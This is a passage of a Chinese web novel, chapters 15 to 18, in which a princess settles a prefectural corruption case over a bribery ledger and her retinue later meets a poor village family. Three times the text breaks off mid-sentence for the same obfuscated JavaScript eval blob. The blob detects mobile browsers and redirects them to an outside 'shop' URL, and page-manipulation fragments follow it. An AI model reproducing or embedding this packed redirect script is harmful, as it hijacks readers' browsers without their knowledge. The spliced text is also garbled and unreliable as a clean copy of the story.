“年底我爹把我卖进了徐府，我娘让我安心做丫头，我针线做得还行，好歹有口饭吃。可我后来才知道，我爹是把我卖给徐大人做小，甚至连个做小的名分都没有。我弟弟转身就给府衙做了监工头子，我爹逢人便夸我弟弟真有出息。”方小妹说着惨然一笑：“贵人您瞧，我爹的算盘打得多好。” 15.还挺骄傲 十五章还挺骄傲 方小妹话音落地，客堂上一时没了声响。有人露出点儿同情，更多的是无所谓。 穷人的命罢了。 只有站在郡主身边的观棋，看着桃李年华的方小妹，再看看一旁腿软坐在地上年近半白肥头大耳的徐大人。一阵恶感袭来，她偏开头，差点要伸手拍一拍胸口。 薛明德问：“徐大人，还有什么话要说吗？” 徐府尹张了张嘴，又徒然的闭上了。 方小妹接道：“贵人，我还有话说。” 薛明德好奇的望住她。 她从怀里摸出来一样事物，徐府尹猛然怪叫一声合身要扑上前：“你个//贱//人！” 他没能真的冲过去，一来他萎靡在地一时爬不起来，二来他身边有王府亲卫，一脚又把他踹回地上去了。 徐府尹诶哟诶哟的叫唤。亲卫大约是见着郡主殿下皱起的眉头，蹲下//身要挟：“再叫！还打你！” 观棋从台阶上下来，接过了方小妹手里的东西。 那是一本账册。 “贵人，徐大人说这东西能保我肚子里的东西荣华富贵一辈子，让我安心给他生儿子。”她说着，又是一笑，这回笑得真心了些，但那真心里又含着许多讽刺：“他把这东西藏在外宅的神龛下边，他觉着我是个不识字的蠢女人，也没防着我，被我寻到了。” “你就是个蠢女人！”徐府尹怒吼道：“你个贱……啊！” 亲卫又给他脑袋来了一下。 薛明德打开账册，随手翻了翻，目光越过账册，慢慢的望住了底下的一众官员。 官员们的脸色都更不好了，有些甚至打起了摆子。但也有面色坦然的。 谁是人，谁是鬼，一望可知。 薛明德道：“将这俩人带下去，分开关着。” “是。”一旁亲卫上前，将一胖一瘦两人分别拎了，不顾那俩人的求饶挣扎，押往门外去了。 薛明德让观棋扶起了方小妹，问她：“你还有什么要说吗？” 方小妹摇摇头，转念一想，又要跪下来。 薛明德扶住了额头，观棋连忙拦着她，在她手上握了下，权做安抚。 方小妹感激的冲观棋点点头，才又道：“贵人……我能……”她顿了顿，仿佛给自己鼓劲，复又抬起头，“我能求一碗落胎药吗？” 薛明德有些惊讶。 方小妹声音低了些：“肚子里的这个，月份有些大了，我去求药，只怕药坊不敢给。” 她连“孩子”这样的字眼都不愿意说，可见其是真的不想留。 明明只是个乡下女子，甚至不识字，却有勇气，做了那么多事情。 薛明德心里奇异的冒出些许欣赏。 她从台阶上缓步而下，将方小妹的手轻轻握了一握，“我会让人去查清你说的事情。如果你说的都是真的，会有人帮你安排的。” “嗯！”方小妹用力的点了一下头，鼻子一酸，眼泪落了下来。 薛明德让人带她到后堂的客房里休息会，她走了两步，又回过头来，端正跪下，冲薛明德磕了个头。 这一回，薛明德没有拦她。 会客堂重又安静下来，只是官员们的神色恍恍惚惚的，眼神时不时飘到郡主手边的账册上，又赶紧挪开，生怕多看一眼那账册就会长糨糊似的粘到他们身上。 薛明德看在眼里并不点破，随手又翻了几页，将账册搁在了角几上。 “诸位。”她道。 所有人都抬起了脸，望向她。 “从今日起，在座诸位大人，停俸半年。”她眼神淡漠的望着台下众人：“可有异议？” 谁敢有啊？！ 众官员一齐弯腰拱手，“谨遵命。。” 薛明德眄了他们一眼，将角几上的账册拿在手里。 官员们的目光都不禁跟着她的动作转动，心脏也砰砰砰的跳动，却见郡主殿下将账册递到灯烛旁。 火苗飞窜，点燃了册子。 官员们都呆望着她，一时间反应不过来。 薛明德道：“既如此，这件事，就到此为止吧。”她随手一扇，几乎燃尽的账册在众人面前，如飞烟般散落地面。 堂下一众官员都惊呆了。 就，就这样过关了？ 薛明德确实没再追究，倒是分派了岳北府少尹先管着日常政务。户曹和法曹辅佐之。 “岳北府免税一年，这一年的税收，用于重建木溪镇姜家村。至于诸位这半年的俸禄，用于赈以今年的灾民罢。”薛明德的声音还是淡淡的：“以岳北府所有官员的名义，以赈于民。” 官员们又都一愣，赈济灾民啊，还是以他们的名义去做。 谁在初入官场时没有一腔热血呢。 各种滋味一时涌上了心头。年纪最大的张户曹突然上前行了个大礼，哽咽说道：“下官，愿捐全年俸禄，以赈于民。” “吾等，愿捐全年俸禄，以赈于民。”所有官员忽然都齐了心，实打实的行了大礼。 事情就这般尘埃落定，满堂的官员，被带走了一个徐府尹，一个庆仓曹，其他人几乎都是全身而退。 实在是庆幸。 还有裘正，原本的七品仓曹属，越级提起来暂代了仓曹的位置，同僚们有的人羡慕，还有的人酸溜溜的。 官员们三三两两的离开行辕，走得近的各自说着话。其中有人低声叹了句：“殿下这一招实在是高啊。” “哦？”旁边一个问：“怎么说？” 前边的官员道：“殿下赏罚分明恩威并施，拿下了徐府尹和庆仓曹，其他人的错处却高高举起轻轻放下。那一本账册就是咱们的投名状，从此以后谁还敢不效死呢。” 后头的官员脚步一顿，压低了声音道：“那账册，不是烧了嘛。” 前边的回答：“你猜郡主记不记得上头的名字呢？” “嘶。。”后头的官员牙疼似的吸了口气。 前边的那位也压住了声音嘀咕：“我知道你为啥抽气。都是一条船上的人。但郡主这回杀鸡儆猴，鸡已经杀了，咱们这些猴就安全了。往后用心办事，事情总不会再翻出来。郡主不是说了嘛，这事就当过去了。” “是是是。大人指点的是。”后头那位躬身一揖。 行辕里边，薛明德又靠在了椅背上。 这一天天的，累死个人。 “殿下。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050621|193566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李牧山从门外进来，行了个礼。 薛明德在听到有脚步声走近时便已挺直背脊坐正了。 “我们启程之后你多留一阵子，不必做什么，单看着他们把赈灾的粮食米粥都安排好。” 这是要震慑的意思。李牧山点头称“是”。 观棋从后堂走了过来，后边还跟着狗狗祟祟的许孟然。 方才薛明德安排她去查实方小妹翻出来的那些事儿，有账本定然是有贿赂的金银，账本可以烧掉，金银总要拿回来吧。她往后堂找方小妹说话去了。 “殿下。”观棋等李牧山退下了，才走上前来。 薛明德跟她认识很久了，见她一本正经，但能察觉到她的无奈，再配合着几步开外把心思都写在了脸上的许孟然。 呵。 “殿下。”观棋说道：“去查访的事情，许孟然也想去。” “嘿！”机灵小子许孟然有点跳脚。 观棋没看他，还是略低着头站在郡主殿下跟前。 薛明德觉着好笑，但这不是什么大事，随他们好了。 “去吧。” 嘿嘿嘿。两个人都高兴了，乖巧的谢过郡主殿下。 一出会客堂俩人就现了原形。 “你怎么直接就说我想去？” “本来就是你自己想去啊。” “你可以说你想带我去嘛。” “许孟然你不要这么狗！” “好吧好吧。”许孟然又支棱起来：“那你让我打头阵！” “……” 两个人的声音渐渐去远。 薛明德挑了挑眉，露出个“原来如此”的表情。 这两个家伙下手停快。岳北府粘贴布告两日后在坊口、关帝庙、城门附近，三处地方同时施粥。施粥开始的前一天晚上，观棋和许孟然已经回来复命了。 “殿下。”观棋说：“查实有金银若干，银票若干，还有些珠宝字画，大半都藏在徐大人的外宅里。书房有暗格，只是寻常机关，给我们找着了。为防意外，我们还去了徐大人家里。” “哦？”薛明德笑了下，“如何？” “书房里也藏了银票。不多，估计是没想到有人能找到他外宅去。” “嗯。”薛明德问：“他的夫人呢？” “徐夫人在徐大人没回去的当晚就派人打探到消息了。家里已经闹过一次，摔了不少盘子碗的。见着了我们，徐夫人说不敢求原谅，殿下该打就打该罚就请罚了吧。”观棋说着咬牙，“殿下您不知道，徐大人的两个女儿都出嫁了，俩人年纪和方小妹相仿，徐夫人听说了徐大人的糊涂事气得骂了他一天一夜，说他丢人现眼。” “哈哈哈哈哈。”薛明德听得哈哈大笑，“不错。是个明事理的。”复又道：“你再去一趟，和她说，寻了嫁妆单子出来，许她合离。把嫁妆带回去，不连累她那两个女儿。” “是！” 看他们将事情都回禀得差不多了，薛明德话锋一转，问道：“许孟然，观棋让你打头阵了吗？” 观棋递个眼神想提醒他悠着点，可惜来不及，许孟然在殿下的问话中回答飞快。 “打了！！” 还挺骄傲？ 16.顺道一下 十六章顺道一下 “打了！！”许孟然答得特别大声。 观棋在心里捂了捂脸。 “哦？”薛明德的目光在他俩人身上巡了一圈，“打了谁了？” “打了……”许孟然反应过来，堪堪顿住了。 观棋叹口气，都说到这儿了，才想瞒，还不如实话实说呢。 “殿下。”她上前半步，言道：“我们把方小妹那卖女儿的黑心老爹给打了。” “还有呢？”薛明德说了半天话，口渴了，指了指一旁茶盏。 观棋很有眼色的给郡主殿下续了茶。 水只微温，茶失香气，薛明德抿了一口茶，又将茶盏放下了。 “殿下。。您怎么知道还有。。”许孟然期期艾艾的问。 薛明德道：“打了头阵肯定还有第二局第三局啊。” 机灵小子这时候怎么不机灵了呢？ 她没想到许孟然是不知这样私底下动武算不算犯错，会不会受到责罚，是以问得小心翼翼的。 观棋答道：“我们把徐大人家里，徐大人外宅，方小妹的前婆家，都查了一遍，顺手把她那欺负人的黑心大伯哥也打了一顿。” “你们就这么直愣愣的上门去打？”这回轮到薛明德惊讶了。 “嗯~嗯~~”观棋用鼻子发出个否定的音，摇着头道：“在半道上套着麻袋打的。” 薛明德弯了弯眼睛，“还有吗？” 观棋和许孟然你看看我，我看看你。 最后许孟然挺起胸脯道：“昨晚我半夜起来……去茅厕，顺道去柴房看了下。” “再顺道把方富贵打了？” “是。。。” “那你怎么不把徐府尹也顺道一下？”薛明德貌似随口一说。 观棋和许孟然异口同声的问：“这个也能打吗？？” 薛明德狡黠的眨眨眼：“你们不是有麻袋嘛。” 到得夜里，观棋抱了被褥来，依旧睡在郡主寝卧前边的小榻上。 薛明德说天时越发冷了，让她回屋里睡去。 她边铺着被子边道：“我不怕冷。往常在山上习武，比这还冷呢。” 薛明德也习武，但能不受苦的时候她尽量还是不受苦的。 “你们方才去套麻袋了吗？”薛明德难得的八卦道。 “嗯！”观棋嘿嘿笑：“许孟然可坏，专往徐大人头上脸上打。” 薛明德弯着眼睛，“那你呢？” “我踹了徐大人好几脚。不过避着要害，没好把他一下子踹死。” “哈哈哈。”薛明德笑了一声，又问：“许孟然拿什么贿赂你让你给他打头阵？” “吴子。”观棋诚实的回道：“不过那一章我看过了，我能背下来。” “你喜欢兵书？”薛明德颇为惊讶。 观棋抱着被子想了想，说道：“我也不知道是不是喜欢。玥姑娘教我认字，才发现用兵书教我我能学得快，还能记得住。后来到了山上学艺，师父也教一些，师父说，我跟在您身边，多学些阵法和用兵之道，不是坏事。万一将来用得上呢。” 有趣。 观棋口中的玥姑娘是薛明德的表妹，宁王的亲外孙女，自小也常在王府住着的。 “你想带兵试试吗？” 观棋是个不错的苗子，在木溪镇时她便发现了，观棋的应变极快，身手也好，最重要的是，她对主子忠诚。若是她有心立功，兴许可以改变一生的命运。 薛明德不介意给她个机会。 只是观棋依旧抱着被子，眨巴眨巴眼，回道：“殿下需要我带兵我就带兵，需要我在身边随侍，我就在身边随侍。” 薛明德眄了她一眼。这丫头，还没长出上进心呢。罢了。 立冬这日，天气勉强变好了些。岳北府的府衙大门徐徐打开，街道上已渐渐有了行人。 与这段时日以来的萧条不同，今日里人们的脸上仿佛多了些愤怒，喧嚣，甚至肃杀。道路两旁的商铺多半都还关着门，酒肆和茶庄却都开着，有人不住的站到门口张望。 嘚嘚的马蹄声敲响了青石地面，原本嘈杂的人群越发躁动不安。 “来啦！是他！那个狗贼徐府尹！”人群里有人高声叫嚷了一句。 人们纷纷往街头涌去。果见一队人马押着几个人犯过来，人犯们都戴着木枷镣铐，为首的一个赫然是岳北府原府尹徐科。 被关了几天，徐大人的胡子拉渣的，半白的头发乱七八糟的散着，更添了颓唐的死气。 徐大人的脸上青一块紫一块，若仔细看，走路还有些跛。 许孟然见着了，不自然的摸摸鼻子。观棋却手按刀柄，一直跟随在郡主身边。 今日大街上的人太多了，万一有个宵小呢。她不得不防。 郡主说，因着这位徐大人之故，许多人都枉自丢了性命。好好的一个家，说没就没了。百姓们怎么能不恨呢。 她就是要让老百姓们看到徐大人今日的下场。 突然一个臭鸡蛋，吧唧一下往车队砸来。力有不逮，砸在了徐科的脚边，吓得他一个趔趄。 队伍略为停顿了下，巡视在侧的许孟然扭头去看郡主。 薛明德也正往人群中望。 一个小女孩怯怯的站在那儿，手里还握着另一个鸡蛋。见马背上的贵人朝她望来，小女孩的神情紧张，然而一低头，看到自己的一身麻衣白孝，她的眼泪一瞬间溢满了眼角，又勇敢的挺起了小小胸脯，用尽全力，将手里的臭鸡蛋往徐大人身上扔。 “你是坏人！”她怒喊。 这一次，鸡蛋扔中了，碎裂在徐科的衣角上，臭味溢了出来，熏得人皱眉。 见衙役和王府亲卫们没有要阻拦的意思，人群中再一次激愤起来，无数早已准备好的烂菜叶臭鸡蛋臭鸭蛋，浪潮般汹涌而至，纷纷砸在徐大人的身上甚至脸上，徐大人一头一脸的臭味熏天。 跟在他后头的庆仓曹也难免被波及，臭味沾了一身，举着袖子想躲，心里把徐府尹骂了一百遍。再后头的方富贵急得直跳脚，可他们都被麻绳一串儿缚着，谁都逃不掉。 “贪官！” “恶霸！” “还我爹娘的命来！” 人头攒动中夹杂着数不尽的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17065368|193566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痛骂，还有许多人，呜咽的哭声。 并不太长的街道，愣是走了一个多时辰，衙役们出面维持秩序，人群才渐渐让出了一条路。 就这样，几个人犯还是给臭鸡蛋烂菜叶砸得差点晕过去。 一行人原本打算直接出城门往州城方向走的，这下子不得不绕回府衙一圈，毕竟这几个人太臭了，路上会熏得人受不了。 将就着梳洗一番，给他们打了几件粗布衣服，徐科穿上衣服抖了几下，哭丧着脸道：“有，有虱子。” 王府亲卫没好气的说道：“那就别穿了。光着出去好了。” 惯的他！ 其实也不是虱子，那是下人的衣服，粗布缝制，他穿不惯罢了。 徐科的脸上的肥肉又抖了两下。时令已入冬，别说光着出去，但凡亲卫把他外头的衣服再剥掉一层他都能冻死。 岳北府的牢狱里有囚车，徐大人从来没有想过有一天自己会坐上这玩意儿。 可是没得选，衙役把他们仨都塞了进去，一人一辆，专属坐骑。 除了这几个人犯，还有姜家村的黑壮汉子，麻脸汉子俩人。他们是带头动手劫持过往商旅的。 宣诚郡主说国有国法，城有城规，他们犯了错，一样需要受罚。只是他们不用戴脚镣，想来罪责也轻些。 姜成和麻脸汉子都接受了这项惩罚，大仇已报，即便受死，亦可坦然。 何况王府亲卫私底下悄悄说了，他们只是被带回州城，大约是罚去做苦力，不一定会死。 天色不早了，宣诚郡主还是决定按计划出发，赶到城外三十里的驿站再休息。 两队王府亲卫押着几辆囚车，浩浩荡荡的出发。 这回没再让人沿途围观，倒是留着几队衙役前后维持了秩序。 “姑娘，您瞧。”将到城门口时，观棋看到远处的角落，有个灰白的身影略有些眼熟。 那人显然已等了许久，待到队伍过来，她蹒跚上前，凑近了些。 薛明德从马上下来，队伍亦暂且停步。 “贵人。”说话的是一个白发苍苍的老妇人。 薛明德见过她，在木溪镇外的田埂边，那个跪坐着一片一片烧纸钱的老婆子。 “贵人。这里有些饼子，是我自己做的，您不嫌弃，请带着路上吃。”老妇人一身粗麻孝衣，身形有点儿佝偻，还是努力的举着手里的篮子。 薛明德心中微微一叹，走近两步，接过了那只篮子。 篮子已用得旧了，但清洗得干干净净。里边叠着满满当当的葱花饼。 也不知这老妇人求了多少人，才换得这些米面。 “饼子很香。”薛明德说道：“我很喜欢。” “那就好。那就好。”老妇人连连点头，看得出是真的欢喜。 薛明德让观棋取些银子给她。 老妇人忙退开一步，摆手道：“不用不用。不用给我银子。”见薛明德还要说什么，老妇人已红了眼圈，说道：“贵人给我家孩子报仇了。报仇了啊。” 她说着，眼泪扑簌簌的落，忽而跪下，冲着薛明德，扎扎实实的磕了个头。 17.墨远围场 十七章墨远围场 这一天过得挺长的，但是临出城时，也不过午时交未。 天边的流云又散了些，隐约显出一点儿初冬的日头来。 观棋心中还是不忍落，趁着大家都没注意，将一爪子碎银塞到老妇人手里，随即返身上马，干脆利落。徒留着老人家在后边诶呀呀诶呀呀的追了好几步，一点儿没追上。薛明德看到了也只一笑而已。 一行人浩浩荡荡，离开了岳北府。 从宁安府到岳北府，走的仓湾府玉砂江畔的路线，一路穿州过府，而今回程，就绕道另一侧，走墨远山到这一路，中间往里绕一段。 如此，宁州八府才算都走个遍。 回程依旧是薛明德带着几个“健仆”先走，王府亲卫里分出两个人，看十余个衙役押着几辆囚车缓行。余下的亲卫按从前布置。 过了立冬，气候一日冷似一日，好在雨水像是终于放过了宁州，接连几天都是干冷而已。 这天从一个小镇离开，离广临府已经很近了。 时辰很早，天空是微微的蓝，云彩被初生的太阳染成了金色，那层薄金又像泼染的金丝银缎，流淌在墨远山上。 薛明德当先策马奔驰，观棋和亲卫们紧紧跟随。 片刻间奔上一个山坡，薛明德勒停健马，驻足而望。冷风撩起了她的发丝，也镌刻了她冷冽如锋芒的眉眼。 在这旷野凛风之外，是耀眼的金光薄雾，染红无限的江山国土。 亲卫们离着一射之地纷纷停步，簇拥着宣诚郡主驻马于野，仰起头，望向这一幕奇景，心中徒然升起万丈豪情。 天地浩荡，惟我君上可主沉浮！ 观棋心潮澎湃，一呼一吸皆只觉得热血沸腾，有一个声音充斥着她的脑海，让她在这一刻如此清晰的认知，她愿永远效忠于郡主殿下，她愿为了郡主殿下奋不顾身，不惜一切！ 她翻身下马，单膝跪地，朗声道：“郡主殿下，千岁千岁千千岁！” 六名王府亲卫也一齐跳下马背，同时屈膝拱手：“郡主殿下千岁千岁千千岁！” 薛明德睥睨而视，环顾四方。日光更盛了些，照着四野苍茫。 会挽雕弓如满月，西北望，射天狼。 再回首看到跟随她的亲卫们，她轻拍马鞍边上的箭匣，畅意的笑道：“都起来，我们打猎去！” “是！” “是！” 少年们纷纷起身，重又跃上马背，一路欢声凯歌，随着他们心中的明主，一齐策马奔去。 墨远山是宁州境域一处横贯山脉，崇峻巍峨，拦住了呼啸凛冽的北风，也护住了宁州的百姓。山脚下建有皇家围场，占地颇广，便在围场里又添了几处景致，譬如观澜池，譬如碧玉堂。 是宁王一家子秋猎猫冬的好地方。 到了围场附近，少年们并不按寻常路线走。许孟然带着大伙儿避开了守门卫，远远的绕到了林子边，拆开一处栅栏，放马进去，再把栅栏大致摆回去。 观棋说，这家伙一看就是惯犯。 薛明德也觉惊奇，问许孟然怎么知道这条路线。 他摸摸鼻子，说有一回王爷带着大伙儿来狩猎，他光顾着抢彩头了，没管着吃饭。收队的时候饿得实在受不了，悄摸摸寻了路出来。这里离山脚的村庄近，他到村子里买了一只鸡来烤。 “可好吃了。”许孟然舔舔嘴。 薛明德睨他一眼：“买的鸡还是偷的鸡？” “买的！”许孟然提高声量，见众人都望着他笑，他急赤白脸，愈加辩白：“真是买的！本来就是溜出来的，偷鸡，我不怕蚀把米再给村民告了吗！” 一众亲卫，哈哈哈的笑得越发开心了。 进到林子里，众人渐渐息了说笑，但眼睛亮晶晶的，都在搜寻着潜在的猎物。只是连着几个月的大雨，紧接着进入了冬季，猎物并不甚多。 跑了一个多时辰，只猎到两只野雉一只獐子。还遇见一只鹿，但那鹿儿明显怀了小鹿崽子，可怜见的，少年们放过了它。 眼见日头渐渐升到头顶，再过一会就得是正午了。少年人们肚子也打起鼓来。 “可惜没带盐和胡椒，这野味没法弄呀。”其中一个亲卫倒拎着一只野雉两脚摇了摇。这是他打到的猎物。 “到前边村子里找家农户再收拾吧。”观棋策马缓行，揶揄道：“许孟然知道路。” “哈哈哈！” 几个人嘻嘻哈哈的笑。 “瞧！”走在最边上的亲卫钟雁行低嚷了句，紧盯一纵矮树。长草摇动，多半是有小动物藏在草丛里。他搭起了箭。 “慢着！” 观棋来不及抽出马鞭，直接将手里的弓扔了过去，砸在那支射//出//去的羽箭上。 与此同时一个浅褐色的小身影在草丛里跳起，要往一旁跑。 那支箭被砸偏了准头，堪堪落在小身影一侧，将他要跑的路给堵住了。 小身影给吓得一哆嗦，还当这是算准了他要往这个方向跑，手里抱着的柴火呼啦啦掉一地。 钟雁行见自己差点儿伤了人，有些过意不去，又为着自己竟看不清这是人还是猎物，脸上更是讪讪的不好意思。 “我，我去看看。”他挠挠头。把长弓往背上一挎，踢马上前去了。 薛明德也轻夹马腹，一道过去瞧瞧。 站在草丛间的是个小孩儿，瘦瘦小小，左不过六七岁年纪。天这么冷，他只穿了单衫，灰扑扑的，藏在矮树后头，也难怪钟雁行会看错。 见到这么多人骑马围上来，小孩儿吓得狠了，脑袋压得低低的，瑟瑟的发着抖，看着自己的一双烂草鞋，露出的脚趾头拼命的蜷缩着。 “姑娘。”有外人在，钟雁行也很懂规矩的换了称呼，“这小子看着是来捡柴的。” 地上散着七零八落的干枯树枝，众人也都看得明白。 但这是皇家围场，普通百姓甚至都不允许靠近。这小家伙也是和他们一般，绕过了正门避开了巡岗，才进得来捡些柴火。 薛明德的视线顺着地上的树枝，落在小孩儿冻得通红的脚趾头上。顿了一下，才有些疏懒的说道：“不是要找农 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069995|193566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家收拾野味吗，问问他家在不在附近。” 观棋答应一声，从马背上跳下来，略弯了腰和小孩说话。 小孩儿起先一昧的往后躲，直到观棋在钱袋里摸出一个大钱，按在他手里。 “你们要买柴火吗？”他抬起脸，脸太小了，显得一双眼睛尤其的大，忽闪忽闪的望着她。 观棋笑了下，摸摸他的头，“是啊。但是我们不会收拾野味，到你家去让你爹娘给我们做顿饭，我们给饭钱，好不好。” 小孩儿回了神，将眼睛弯成月牙：“好的呀姐姐！”一壁说着，一壁欢欢喜喜的蹲下//身，去捡地上散落的柴火。 钟雁行将预备用来缚野味的藤条拆下来一根，帮着他把枯枝缚成一束，扔在马背上。 小孩儿要去接过来，“我能背着。” “不会抢你柴火的。”钟雁行也去摸他脑袋，“我放马背上，一会到你家了还给你。” 小孩儿摇头：“你们给过钱了，不是抢。我能背着，给送家里去。给你们做饭用。” “不用你背。”许孟然伸长手臂，将他一下提溜起来，放在自己身前。 第一次坐在这么高的马背上，小孩儿吓得哇哇直叫。 众亲卫都哈哈哈的笑，许孟然扯了把缰绳，骏马在他胯//下嘚嘚嘚的小跑起来。小孩儿双手紧紧攥住了马鞍，好在许孟然是个大人了，胸怀也挺宽广，呆了片刻，他渐渐熟悉，也放开了胆子敢坐直身板，只是依旧忍不住，“哇”了一声又一声。 一众亲卫听了又是一顿狂笑。 出了树林，离了围场，兜兜转转再跑得几里地，才到了一处村庄。 村外有村民，三三俩俩的修补着被大雨冲垮的田埂，见着这一群人，都惊讶的停住了手上的事情。 “康小子出息了。”农田里一个村民见着马背上的小孩儿，呐呐的说。 许孟然也挺惊讶，这是他从前来过的村子，路不远不近，可对于一个小孩子来说，这也挺远的了。 “你这是走了多久才到的围场啊。”他在马上嘀咕。 康小子听见了，骄傲的说道：“我一起床，给家里挑好水就出来了。” “你还会挑水？” “会啊！”康小子昂首挺胸：“我还会洗衣服，会做饭。就是没有我娘做得好吃。” 许孟然道：“那边山坡上也有柴火吧，你怎么跑那么远去拾呢？”况且那是皇家围场啊，他在心里补充道。 康小子的声音愤然且无奈：“大人们会去拾啊。王二他们也会去拾。我抢不过他们。我去的那一片是围场，是城里贵人的地方。我悄悄去的，不给别人知道。” 原来你也知道是围场。许孟然莞尔。这小家伙，还挺精。 山脚下的村子，几十户农家，进了村口没多久就到了地方。 远远看到一处柴扉院落，康小子忽而想起来，飞快的说道：“你们别给我娘说在围场见着我啊。这柴是我路上捡的。啊，求你们啊。” “怕你娘心疼啊？”许孟然说着将他再次提溜起来，放在了地上。 18.一张竹片 十八章一张竹片 回到了自家地方，康小子恢复了小孩儿的顽皮，双脚沾地就撒开丫子往院落跑。 见了他冬日的单薄衣衫，见了他草鞋里冻红的脚趾，众人心里都有准备，这一家人定是穷困窘迫，并日而食。他的娘亲指不定卧病在床，他的父亲艰难养家…… 就在少年们或是叹息或在感慨的张望时，院落转角处突如其来般走出一个妇人，脚步飞快，迎面就抓住了康小子，一把拧住他的耳朵，妇人的大嗓门和小孩儿的嚎叫同一时间响起。 “跑跑跑！一早上不见人影！！！你滚哪儿去了这一身灰！！！” “嗷嗷嗷嗷嗷！我的亲娘诶！！！” 爆竹般的震响把许孟然的马都惊得喷了个响鼻，在他后边的几个人也赶忙控住马。 妇人这才留意到家门口竟然来了这么多人，还都骑着马，还穿得这般好！ 她略红了脸，收回手，说一句：“对不住。我管孩子呢。别惊着了你们的马。” 观棋跳下马背，带着笑容上前，“这是好孩子，他给家里打柴去了。”她说着，指了指钟雁行拎下来的一小捆柴火。 妇人脸色又是一变，一把揪住康小子的衣领子，这回声音里怒气带着恐惧：“你又去那地方了？你去那地方打柴是不是？！！” 说着伸手在康小子身上打了好几下，康小子不躲不避，只是带了点哭腔：“阿娘，我没去，我在那边山脚捡的。阿娘。。” 观棋和许孟然都走了过去，一个拦着妇人，一个把小孩子拉开。 “他在山脚下捡的。真的。你看，统共就几根柴火，他捡了一早上。”观棋扶着妇人的胳膊。 妇人眼里已蓄了泪，用手背随意抹了，退后半步，躲开了观棋扶着她的手，才讪讪说道：“让贵人们看笑话了。我这身上都是灰，别脏了贵人的手。” 观棋看着女子的神情，不由得有些许疑惑。 她手上也没刺呀。 倒是康小子，又欢快了起来，扬着脖子说道：“娘，他们是来吃饭的。他们打了猎，让咱们帮忙收拾，给咱们钱。” 说得真直白呀。 但也没错。 许孟然预备发挥他的三寸不烂之舌。还没开口，康小子已飞快的续了上去：“我这些柴火也卖给他们了，一会我帮你生火！” 他说着，开始翻自己身上那条破布腰带，抠了又抠，翻出来那枚大钱。是之前在围场里，观棋给他的。 一枚大钱能顶三个铜板，买这几根瘦柴，绰绰有余。 妇人姓陆。陆娘子看了看面前的一群人，又看了看儿子塞到她手里的一枚大钱，应了一声转身推开了小院的门。 ——也就勉强算个门吧。 毕竟家徒四壁，屋子里也没啥好偷的。 哦，有个小孩！ 小孩很小，见到娘亲回来，张着两只手要抱，几颗小米粒一般的牙齿，呀呀呀的笑，翠稚可爱。 一个用旧了的围栏将她围在中间，像花圃里朝露待日晞的花。 陆娘子走过围栏，随手在女儿头上摸了下。康小子跟在娘亲的脚步后头，也在妹妹头上摸了下。 薛明德将坐骑扔给手下，走进屋里时刚好看到了这一幕。日光初斜，照着一张小花朵似的脸。她笑笑，走上前，指尖掠过小孩子额上软发，是挺可爱的。 从来没见过郡主殿下摸小孩呢！观棋瞪大眼睛，跟着走了过去。 于是陆娘子放好那一个大钱再出来时，看到的就是这神奇的一幕。 一群人排着队摸她女儿的头，跟什么神圣仪式似的。 陆娘子：…… 院子不大，厨房连着柴房，陆娘子在水缸里舀了水，先把炊具厨具都刷一遍。听说城里人都有爱干净的毛病。 和这群贵人混熟之后，康小子活泼许多，许孟然几个站在一旁看他烧水烫鸡，接着拔毛。 “这还能做个毽子。”一个亲卫说道。 另一个说：“不如做个鸡毛掸子。他们家还能扫灶台。” “谁用鸡毛掸子扫灶台啊。” 一群人嘻嘻哈哈，手上也没闲着，真出去找了个细竹竿，动手做起鸡毛掸子来。 观棋笑着看他们闹，心里还想着之前在门外陆娘子对他们的态度。有些敬畏，又添着几分惊惧。 “康小子。”她出其不意的问：“你娘亲为什么不让你到围场里捡柴火？” “因为我哥死在那里啊。”康小子眼睛盯着手里的野雉，小手不停的拔着细毛。 亲卫们俱都诧异，互望了几眼。 身旁刹那的安静，让康小子抬头望了望，见他们也都看着他，他又低头拔起了鸡毛。 “是……给围场的守卫打死的吗？”观棋在他身旁蹲下//身，放柔了声音问。 康小子说道：“不是。他在围场里捡柴火，给守卫发现了，他就跑，守卫在后头追，他给草根绊着脚，一头砸在大石块上了。” 他描述得这么仔细，许孟然不由得问：“你当时也在？” “嗯。”康小子声音闷闷的：“他起先拽着我跑，后来让我分开跑。他就是回头跟我说话，才绊的那一跤。” 众人又是一阵沉默。好半晌，观棋才问：“那你爹爹呢？” “也死了。我爹身体不好，我哥死的时候他急得吐血，我娘花光了家里的钱都没救回他。” 康小子收拾好了鸡毛，将水盆抱起来，摇摇晃晃往院子边走，偶尔有水晃出来，沾湿了他破草鞋里被冻得通红的脚趾头。 